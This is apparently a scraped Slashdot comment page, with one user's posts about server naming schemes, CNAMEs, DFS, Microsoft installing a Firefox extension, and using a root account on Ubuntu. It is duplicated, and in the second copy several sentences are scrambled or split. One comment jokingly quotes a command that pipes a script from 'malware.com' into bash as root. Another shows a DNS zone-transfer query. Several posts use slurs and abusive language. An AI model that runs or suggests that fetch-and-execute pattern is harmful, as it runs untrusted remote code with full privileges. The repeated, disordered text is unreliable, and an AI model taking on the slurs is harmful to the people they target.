Pretend for just one moment that your network guy got clocked by a bus. He won't be back to work until someone figures out a way to raise the dead.
You're the new guy they just hired to replace him. Who cares about CNAMEs when you're on the server looking at the hostname? Someone tells you 'daffy' and 'kirk' are down. What are they? What do they do?
Well, if he's the replacement netadmin, he could, like "cat/var/named/<whatever>" on the DNS box and see what it's all about.
The old network admin wasn't clocked by a bus on accident. He was pushed....because he just converted the two BIND servers into 5 Windows DNS servers...
I've adminned at a university with 6000-odd network devices. CNAMEs are a must. (Oh, and AXFR is turned off for the outside world.)
Sorry--I re-read my post and I don't think I was very clear. CNAMEs are great when you know that your mail server is having problems, so you 'ssh root@mail.mycompany.com', but mail is actually a CNAME to daffy.mycompany.com. The downside comes in when someone gets a bounce message from the mail server and tells you 'daffy' is mis-configured--or someone was surfing their webmail and apache throws a 500 error giving the hostname 'daffy'.
How in the world do you know 'daffy' from the 5,999 other odd-named machines you have in DNS and what it does?
Or if you're sitting in front of a rack of machines, and your flipping through the KVM and run across 'daffy'? If the hostname was 'mail1', you might have a better idea...
You're the new guy they just hired to replace him. Who cares about CNAMEs when you're on the server looking at the hostname? Someone tells you 'daffy' and 'kirk' are down. What are they? What do they do?
Luckily your company is certified ISO 9000 and everything you need to know to do someone else's job is well documented.
Right?
WHATSO? ISWHAT? I work for a company with less than 20 employees. We don't need no stinkin' ISO.
Okay, if my network guy got clocked by a bus, I would sincerely hope that anyone qualified enough to run my IT folder would maintain (and keep up to date) an "If I get hit by a bus" folder (which incidentally fits directly and literally into your scenario, as opposed to its figurative purpose used among attorneys).
Instead of having case updates, court calendars, etc. it would have for the IT/Sysadmins' folder at least two things: access instructions for all services and machines and a DIRECTORY OF ASSETS.
If an email alert told you that 'nas1' was down, you might assume that it's a NAS box, but you could very easily be wrong. Placing any faith in an arbitrary name is dangerous, especially one that appears to be functional. It could be an outdated name or an incomplete name. Perhaps in addition to NAS, it also hosts server-side backup utilities for the 14th floor offices.
You make a good point about not relying on hostnames or DNS names because they can be outdated. And any admin worth his salt will double-check before he does something stupid.
Funny story though--back when I thought naming schemes were cool, I ended up using star wars names on my hosting network. One of my admins used the same scheme at home. We ended up with a duplicate machine name of 'tiefighter'. One day he accidentally typed 'shutdown -h now' into the hosting server instead of his own PC. Had to frantically call the colo to get someone to power up the DNS/mail server.
On the hit-by-a-bus note, I do contract work for a handful of small/med businesses as their IT geek. (They have no need for full-time staff.) Every single one of them has been reminded several times of the need for documentation in case I get hit by a bus, or they become dissatisfied and hire someone else. So far none of them have asked for me to work on it.
Given that you have CNAMEs set up, and end-user documentation refers to them, why would the end users even know these names exist, let alone use them in preference to the service alias?
Because when apache returns a 500 error, it gives you the hostname of the box.
If you don't know CNAMEs, you probably shouldn't have been hired to manage the network since it's a big part of how things work there. Just like you shouldn't have been hired if they used NIS and you didn't know that. Or WINS. Or whatever. Maybe that's not your fault; I doubt the people hiring you might know that.
But if you're frankly too damned uninformed to try nslookup or even just try pinging or remote logging into the frakkin' machine, maybe you shouldn't have lied on your resume and your experience managing systems and should go back to working at Kinkos.
So...when apache spits back a 500 error with the hostname 'iamafag.yourcompany.com' how are you supposed to figure out what the server does? How do you immediately know (without having to grep through BIND--God help you if you're on Windows) that the *major* use of the server is a CNAME billing.yourcompany.com?
I totally understand how CNAMEs should work--give the host a reasonable name--like web1.mycompany.com, then you have CNAMES pointing to it like billing, signup, bought-out-competitor.com, etc...
1.) Use TXT records in the DNS to give people who come behind you a clue.
I can see it now:
darkpixel@l33thaxor:~$ dig -t txt @ns.yourcompany.com mail.yourcompany.com +short
"To the next admin: This is our company mail server. It also doubles as our main webserver. The admin password is wootir0ck"
Seriously--being a network admin is about making it easy for the end-user. However you want to organize your systems is up to you and your employer, but it seems stupid to come up with a retarded naming scheme for your servers because your users are idiots. That's what DNS is for. Admins should have a nice format for naming servers (like CLLI, but better), then let the users decide what they need to be called and toss that in DNS.
Or, better yet, remove most of the machine names entirely from end-user minds by using some sort of distributed file system.
Although this won't work for some things, it is great for editing files, and users won't have to know what is where. They just need to know that \\YOURDOMAIN\Websites\HumanResources is where they go when they want to edit the HR web content. That content could be on one or more servers, but they won't have to know or care.
DFS is one of the few things that Microsoft has done well, and I haven't seen anything as easy to configure or use in the *nix world.
DFSR in Windows 2003 R2 (and I'd imagine Windows 2008) is pretty good, but the old DFS was horrible.
There's still no good way to figure out WTF is going on with a sync.
I use DFSR mainly for a deployment folder so I can push out some.msi or script to all my remote servers--then a few days later I deploy the application.
Next, you're gonna ask "What if they aren't in front of a computer?"
They'll be in front of a computer, but that computer may not have Internet access. Lots of special-purpose stuff is deliberately kept disconnected from the Internet, since that's an easy way to provide security.
So configure it so suspended sessions don't hang around long, and beat your other admins to make sure they log out when they're finished, and not just close the window. Why bother your boss with it?
Because I work at a very small company, every person has to be very independent--and I am unable to get in touch with my boss most of the time during the day because he's out working his butt off too.
I solved the problem last night. I plugged in a linux box and setup OpenVPN. Now there's no reason for me to RDP into the work network...
The precedent has already been established that the OS can be configured to require the local administrator to give explicit permission for each patch to be applied; the outrage here is that this time, that choice was not offered
Uuh..then how did the extension get installed? Answer: You approved an update (probably the new.NET install) which contained the plugin.
And before you whine that they didn't ask about installing the plugin, well--they probably didn't ask about installing the windows.forms library or the system.net.io library--it's all part of the package which you approved.
(On a side note, don't slam me if I don't have those libraries right--I haven't touched.NET since the RC before 1.0 was released, and I don't want to every again--if I can help it.)
Irrelevant. The relevant question is: Why the HELL does Microsoft think it's okay to modify *other* people's software? I expect MS to randomly upgrade Internet Exploder since it's their product, but why are they fucking with a Mozilla product????? Reminds me of something a virus programmer would do.
Fuckin'-A right, doggie! I mean those fucking shitcocks. How dare they make an extension for firefox and install it. I mean look at those fuckers that produce the adblock extension--and let's not forget mouse gestures and the web developer toolbar. FUCK! Anyone who posts something on addons.mozilla.org should BURN IN HELL COMMIE BASTARDS! HOW DARE THEY MODIFY MOZILLA CODE. TEHY SHOULD BURN IN HELL!
Ok--ignore the above paragraph.
Seriously--why is this a huge deal? I'll admit it's a bit slimy to install a firefox extension without asking, but why are we calling for the death of MS for 'modifying' Mozilla's code?
How is this any different than me writing an Excel macro or a.NET app that calls a Windows DLL? That's all a firefox extension does.
Mod parent up.
That's the whole point. You install binary crap from a provider you don't trust. So, don't complain.
It's not like at this day and age there's still a gun pointed to you to use Windows (in the past i may recognize there were, but not today)
Yeah--but seriously. How many people actually look at the debs they download from Ubuntu/Canonical, or the source code they compile? I'm sure it would be somewhat easy to slip some code into a huge security-critical piece of linux code that maybe weakens OpenSSL certificates or something--and it would go unnoticed for a long time...
Conveniently, you can still "ssh mail" and get into daffy.
I have one box that has multiple IPs. One IP has BIND bound to it, another one has SSH, a third one handles mail, pop3, and smtp. Yet another one handles http/https.
Try to ssh into mail.mycorp.com and you'll find no ssh server running on that IP. But the *real* name of the box is mc28r1.mycorp.com--that's the hostname, and the DNS name of the primary IP.
And a server that serves more than 1 role? or if you're trying to fit names into a small namespace? Or you ever have to pass the name over the phone to a colleague?
Why do they need it over the phone? IM it to them.
Next, you're gonna ask "What if they aren't in front of a computer?"
To which I will reply: "Why the f*ck do they need the name of the computer then?"
;)
Also, try using the phonetic alphabet. ALPHA, BRAVO, etc... Great for spelling crap over the phone, including modem init strings from my old days in dialup tech support...
Who can say what PROD01 does when that server may eventually be re-purposed to something other than what it is currently used for;
That's why Windows, Linux, and MAC all offer an amazing feature--renaming the host.
it is still useful to have a tag which sticks to that particular piece of hardware, regardless of where it moves, thus the arbitrary but consistent naming schema.
We have those on our servers--they are called asset tags. If your company is too poor to afford asset tags, most computer manufacturers provide something called a 'serial number' that always sticks to the box.
It helps to have a human-readable/remember-able name for the server instead of a collection of gibberish which, though it may translate eventually into some useful information, is so hard to remember that it takes longer than just looking it up on the chart of server names on the wall. The names must be arbitrary because the server must be able to be repurposed, but the names must be consistent or they do not offer any mnemonic assistance.
Put a post-it note on the front of each machine with it's goofy, stupid, made-up name.
While all other information can quickly be found on the wiki or a printed out chart, which actually happens faster than deciphering that at13g3d12 is the 12th dev server for group 3 in the at&t datacenter rack 13. (It really is faster to look it up than to decode even that simple of an encoded name.)
So once you look up 'ilovemickeymouse' on your chart and it tells you that it's the 12th dev server for group 3 in the at&t data center, rack 13--how the f*ck have you saved any time?
Finally, for an individual dev working on several projects it is much easier to remember that the billing project is on mothra while the reporting project is on grendel than it is to remember that one is on at13g3d3 and one is on at13g3d4.
Or if your devs are so stupid, you can create a CNAME in DNS that points 'iamaretard' to 'at13g3d3'. Seriously--being a network admin is about making it easy for the end-user. However you want to organize your systems is up to you and your employer, but it seems stupid to come up with a retarded naming scheme for your servers because your users are idiots. That's what DNS is for. Admins should have a nice format for naming servers (like CLLI, but better), then let the users decide what they need to be called and toss that in DNS.
Quite correct - someone please mod this up. The extra layer of abstraction you get by using CNAME records in your DNS really helps. A server's "real" name should not be the name of it's functional role.
Pretend for just one moment that your network guy got clocked by a bus. He won't be back to work until someone figures out a way to raise the dead.
You're the new guy they just hired to replace him. Who cares about CNAMEs when you're on the server looking at the hostname? Someone tells you 'daffy' and 'kirk' are down. What are they? What do they do?
On the other hand, if I told you 'mx2' and 'nas1' are down, you have a better idea of what you're dealing with... Forget that there's a CNAME from mail to daffy and a CNAME from p0rnserver to nas1.
We had this exact problem. Originally they were all named Webserver1,Webserver2,Monitoring1,Monitoring2 etc etc etc. We decided it would be cool to name them all after simpsons characters. 3 Days later I get an alert to my phone at 2am to tell me Nelson is not responding to ping. WTF is Nelson? Is he important? No idea what he did, and if he needed rebooting immediately or could wait till reasonable hours.
Hence I'm a big proponent for a useful naming scheme.
Yeah--that's even been a problem at the company I work for. Several times per week I end up in a conversation like this:
Me: "I can't connect to 192.168.7.241--it's out of admin slots for remote desktop"
Boss: "What's 192.168.7.241? Is that DumbServerName1?"
Me: "I'm not sure, what's 'DumbServerName1'?"
Boss: 'It's the domain controller."
Me: "Great, that still doesn't help."
I usually know everything by IP or it's DNS name. Where 192.168.7.241 might be 'mail.somedomain.com' but the box has a hostname of DumbServerName1
Out of curiosity, what did a real root account get you that "sudo -s" didn't?
It got me to not have to type 'sudo' infront of every fucking command I wanted to run.
The first command I run on a newly installed Ubuntu box is 'sudo passwd' so I can change the root password to something known. Then I logout and sign back in under *my* account--because root *is* my account.
Seriously, I've found them to be the best method of issue tracking.
Your.NET program just crashed with a stack trace of a size that is only rivaled by Java. Please visit your postal clerk in a few days to pick up the extremely large package I sent (at considerable personal cost) containing 12,345 post-it notes.
Slashdot Mirror
Pretend for just one moment that your network guy got clocked by a bus. He won't be back to work until someone figures out a way to raise the dead.
You're the new guy they just hired to replace him. Who cares about CNAMEs when you're on the server looking at the hostname? Someone tells you 'daffy' and 'kirk' are down. What are they? What do they do?
Well, if he's the replacement netadmin, he could, like "cat /var/named/<whatever>" on the DNS box and see what it's all about.
The old network admin wasn't clocked by a bus on accident. He was pushed. ...because he just converted the two BIND servers into 5 Windows DNS servers...
% dig domain.com axfr
I've adminned at a university with 6000-odd network devices. CNAMEs are a must. (Oh, and AXFR is turned off for the outside world.)
Sorry--I re-read my post and I don't think I was very clear. CNAMEs are great when you know that your mail server is having problems, so you 'ssh root@mail.mycompany.com', but mail is actually a CNAME to daffy.mycompany.com. The downside comes in when someone gets a bounce message from the mail server and tells you 'daffy' is mis-configured--or someone was surfing their webmail and apache throws a 500 error giving the hostname 'daffy'.
How in the world do you know 'daffy' from the 5,999 other odd-named machines you have in DNS and what it does?
Or if you're sitting in front of a rack of machines, and your flipping through the KVM and run across 'daffy'? If the hostname was 'mail1', you might have a better idea...
Luckily your company is certified ISO 9000 and everything you need to know to do someone else's job is well documented.
Right?
WHATSO? ISWHAT? I work for a company with less than 20 employees. We don't need no stinkin' ISO.
Okay, if my network guy got clocked by a bus, I would sincerely hope that anyone qualified enough to run my IT folder would maintain (and keep up to date) an "If I get hit by a bus" folder (which incidentally fits directly and literally into your scenario, as opposed to its figurative purpose used among attorneys).
Instead of having case updates, court calendars, etc. it would have for the IT/Sysadmins' folder at least two things: access instructions for all services and machines and a DIRECTORY OF ASSETS.
If an email alert told you that 'nas1' was down, you might assume that it's a NAS box, but you could very easily be wrong. Placing any faith in an arbitrary name is dangerous, especially one that appears to be functional. It could be an outdated name or an incomplete name. Perhaps in addition to NAS, it also hosts server-side backup utilities for the 14th floor offices.
You make a good point about not relying on hostnames or DNS names because they can be outdated. And any admin worth his salt will double-check before he does something stupid.
Funny story though--back when I thought naming schemes were cool, I ended up using star wars names on my hosting network. One of my admins used the same scheme at home. We ended up with a duplicate machine name of 'tiefighter'. One day he accidentally typed 'shutdown -h now' into the hosting server instead of his own PC. Had to frantically call the colo to get someone to power up the DNS/mail server.
On the hit-by-a-bus note, I do contract work for a handful of small/med businesses as their IT geek. (They have no need for full-time staff.) Every single one of them has been reminded several times of the need for documentation in case I get hit by a bus, or they become dissatisfied and hire someone else. So far none of them have asked for me to work on it.
Someone tells you 'daffy' and 'kirk' are down.
Given that you have CNAMEs set up, and end-user documentation refers to them, why would the end users even know these names exist, let alone use them in preference to the service alias?
Because when apache returns a 500 error, it gives you the hostname of the box.
If you don't know CNAMEs, you probably shouldn't have been hired to manage the network since it's a big part of how things work there. Just like you shouldn't have been hired if they used NIS and you didn't know that. Or WINS. Or whatever. Maybe that's not your fault; I doubt the people hiring you might know that.
But if you're frankly too damned uninformed to try nslookup or even just try pinging or remote logging into the frakkin' machine, maybe you shouldn't have lied on your resume and your experience managing systems and should go back to working at Kinkos.
So...when apache spits back a 500 error with the hostname 'iamafag.yourcompany.com' how are you supposed to figure out what the server does? How do you immediately know (without having to grep through BIND--God help you if you're on Windows) that the *major* use of the server is a CNAME billing.yourcompany.com?
I totally understand how CNAMEs should work--give the host a reasonable name--like web1.mycompany.com, then you have CNAMES pointing to it like billing, signup, bought-out-competitor.com, etc...
1.) Use TXT records in the DNS to give people who come behind you a clue.
I can see it now:
darkpixel@l33thaxor:~$ dig -t txt @ns.yourcompany.com mail.yourcompany.com +short
"To the next admin: This is our company mail server. It also doubles as our main webserver. The admin password is wootir0ck"
Seriously--being a network admin is about making it easy for the end-user. However you want to organize your systems is up to you and your employer, but it seems stupid to come up with a retarded naming scheme for your servers because your users are idiots. That's what DNS is for. Admins should have a nice format for naming servers (like CLLI, but better), then let the users decide what they need to be called and toss that in DNS.
Or, better yet, remove most of the machine names entirely from end-user minds by using some sort of distributed file system.
Although this won't work for some things, it is great for editing files, and users won't have to know what is where. They just need to know that \\YOURDOMAIN\Websites\HumanResources is where they go when they want to edit the HR web content. That content could be on one or more servers, but they won't have to know or care.
DFS is one of the few things that Microsoft has done well, and I haven't seen anything as easy to configure or use in the *nix world.
DFSR in Windows 2003 R2 (and I'd imagine Windows 2008) is pretty good, but the old DFS was horrible.
.msi or script to all my remote servers--then a few days later I deploy the application.
There's still no good way to figure out WTF is going on with a sync.
I use DFSR mainly for a deployment folder so I can push out some
Next, you're gonna ask "What if they aren't in front of a computer?"
They'll be in front of a computer, but that computer may not have Internet access. Lots of special-purpose stuff is deliberately kept disconnected from the Internet, since that's an easy way to provide security.
Ok, you got me on that one--damn. ;)
So configure it so suspended sessions don't hang around long, and beat your other admins to make sure they log out when they're finished, and not just close the window. Why bother your boss with it?
Because I work at a very small company, every person has to be very independent--and I am unable to get in touch with my boss most of the time during the day because he's out working his butt off too.
I solved the problem last night. I plugged in a linux box and setup OpenVPN. Now there's no reason for me to RDP into the work network...
The precedent has already been established that the OS can be configured to require the local administrator to give explicit permission for each patch to be applied; the outrage here is that this time, that choice was not offered
Uuh..then how did the extension get installed? Answer: You approved an update (probably the new .NET install) which contained the plugin.
.NET since the RC before 1.0 was released, and I don't want to every again--if I can help it.)
And before you whine that they didn't ask about installing the plugin, well--they probably didn't ask about installing the windows.forms library or the system.net.io library--it's all part of the package which you approved.
(On a side note, don't slam me if I don't have those libraries right--I haven't touched
Irrelevant. The relevant question is: Why the HELL does Microsoft think it's okay to modify *other* people's software? I expect MS to randomly upgrade Internet Exploder since it's their product, but why are they fucking with a Mozilla product????? Reminds me of something a virus programmer would do.
Fuckin'-A right, doggie! I mean those fucking shitcocks. How dare they make an extension for firefox and install it. I mean look at those fuckers that produce the adblock extension--and let's not forget mouse gestures and the web developer toolbar. FUCK! Anyone who posts something on addons.mozilla.org should BURN IN HELL COMMIE BASTARDS! HOW DARE THEY MODIFY MOZILLA CODE. TEHY SHOULD BURN IN HELL!
.NET app that calls a Windows DLL? That's all a firefox extension does.
Ok--ignore the above paragraph.
Seriously--why is this a huge deal? I'll admit it's a bit slimy to install a firefox extension without asking, but why are we calling for the death of MS for 'modifying' Mozilla's code?
How is this any different than me writing an Excel macro or a
Mod parent up. That's the whole point. You install binary crap from a provider you don't trust. So, don't complain. It's not like at this day and age there's still a gun pointed to you to use Windows (in the past i may recognize there were, but not today)
Yeah--but seriously. How many people actually look at the debs they download from Ubuntu/Canonical, or the source code they compile? I'm sure it would be somewhat easy to slip some code into a huge security-critical piece of linux code that maybe weakens OpenSSL certificates or something--and it would go unnoticed for a long time...
you are saying that you are seeing the world as it is, which is that seeing the world as it is is not possible.
Maybe Jesus started posting to slashdot?
Conveniently, you can still "ssh mail" and get into daffy.
I have one box that has multiple IPs. One IP has BIND bound to it, another one has SSH, a third one handles mail, pop3, and smtp. Yet another one handles http/https.
Try to ssh into mail.mycorp.com and you'll find no ssh server running on that IP. But the *real* name of the box is mc28r1.mycorp.com--that's the hostname, and the DNS name of the primary IP.
Well I know someone who's gonna have his machine throughly trashed by the first Linux oriented virus/trojan that he sees.
Don't worry--I'll remember not to type in:
curl http://malware.com/malware.sh | bash
while logged in as root.
And a server that serves more than 1 role? or if you're trying to fit names into a small namespace? Or you ever have to pass the name over the phone to a colleague?
Why do they need it over the phone? IM it to them.
;)
Next, you're gonna ask "What if they aren't in front of a computer?"
To which I will reply: "Why the f*ck do they need the name of the computer then?"
Also, try using the phonetic alphabet. ALPHA, BRAVO, etc... Great for spelling crap over the phone, including modem init strings from my old days in dialup tech support...
Who can say what PROD01 does when that server may eventually be re-purposed to something other than what it is currently used for;
That's why Windows, Linux, and MAC all offer an amazing feature--renaming the host.
it is still useful to have a tag which sticks to that particular piece of hardware, regardless of where it moves, thus the arbitrary but consistent naming schema.
We have those on our servers--they are called asset tags. If your company is too poor to afford asset tags, most computer manufacturers provide something called a 'serial number' that always sticks to the box.
It helps to have a human-readable/remember-able name for the server instead of a collection of gibberish which, though it may translate eventually into some useful information, is so hard to remember that it takes longer than just looking it up on the chart of server names on the wall. The names must be arbitrary because the server must be able to be repurposed, but the names must be consistent or they do not offer any mnemonic assistance.
Put a post-it note on the front of each machine with it's goofy, stupid, made-up name.
While all other information can quickly be found on the wiki or a printed out chart, which actually happens faster than deciphering that at13g3d12 is the 12th dev server for group 3 in the at&t datacenter rack 13. (It really is faster to look it up than to decode even that simple of an encoded name.)
So once you look up 'ilovemickeymouse' on your chart and it tells you that it's the 12th dev server for group 3 in the at&t data center, rack 13--how the f*ck have you saved any time?
Finally, for an individual dev working on several projects it is much easier to remember that the billing project is on mothra while the reporting project is on grendel than it is to remember that one is on at13g3d3 and one is on at13g3d4.
Or if your devs are so stupid, you can create a CNAME in DNS that points 'iamaretard' to 'at13g3d3'. Seriously--being a network admin is about making it easy for the end-user. However you want to organize your systems is up to you and your employer, but it seems stupid to come up with a retarded naming scheme for your servers because your users are idiots. That's what DNS is for. Admins should have a nice format for naming servers (like CLLI, but better), then let the users decide what they need to be called and toss that in DNS.
Quite correct - someone please mod this up. The extra layer of abstraction you get by using CNAME records in your DNS really helps. A server's "real" name should not be the name of it's functional role.
Pretend for just one moment that your network guy got clocked by a bus. He won't be back to work until someone figures out a way to raise the dead.
You're the new guy they just hired to replace him. Who cares about CNAMEs when you're on the server looking at the hostname? Someone tells you 'daffy' and 'kirk' are down. What are they? What do they do?
On the other hand, if I told you 'mx2' and 'nas1' are down, you have a better idea of what you're dealing with... Forget that there's a CNAME from mail to daffy and a CNAME from p0rnserver to nas1.
We had this exact problem. Originally they were all named Webserver1,Webserver2,Monitoring1,Monitoring2 etc etc etc. We decided it would be cool to name them all after simpsons characters. 3 Days later I get an alert to my phone at 2am to tell me Nelson is not responding to ping. WTF is Nelson? Is he important? No idea what he did, and if he needed rebooting immediately or could wait till reasonable hours.
Hence I'm a big proponent for a useful naming scheme.
Yeah--that's even been a problem at the company I work for. Several times per week I end up in a conversation like this:
Me: "I can't connect to 192.168.7.241--it's out of admin slots for remote desktop" Boss: "What's 192.168.7.241? Is that DumbServerName1?" Me: "I'm not sure, what's 'DumbServerName1'?" Boss: 'It's the domain controller." Me: "Great, that still doesn't help."
I usually know everything by IP or it's DNS name. Where 192.168.7.241 might be 'mail.somedomain.com' but the box has a hostname of DumbServerName1
Lame.
So.... I'm hoping the Ibex can breed within the first 3 minutes. Yes?
Did the scientists say if the Ibex was able to learn to open doors within those 7 minutes?
but browsing the net and sending emails just isn't that demanding.
Don't forget that IE8 is just around the corner. Microsoft will fix that deficiency.
Out of curiosity, what did a real root account get you that "sudo -s" didn't?
It got me to not have to type 'sudo' infront of every fucking command I wanted to run.
The first command I run on a newly installed Ubuntu box is 'sudo passwd' so I can change the root password to something known. Then I logout and sign back in under *my* account--because root *is* my account.
The open source version can be condensed into one step:
1. Install the x86 or x64 version. Fuck the licenses.
Seriously, I've found them to be the best method of issue tracking.
Your .NET program just crashed with a stack trace of a size that is only rivaled by Java. Please visit your postal clerk in a few days to pick up the extremely large package I sent (at considerable personal cost) containing 12,345 post-it notes.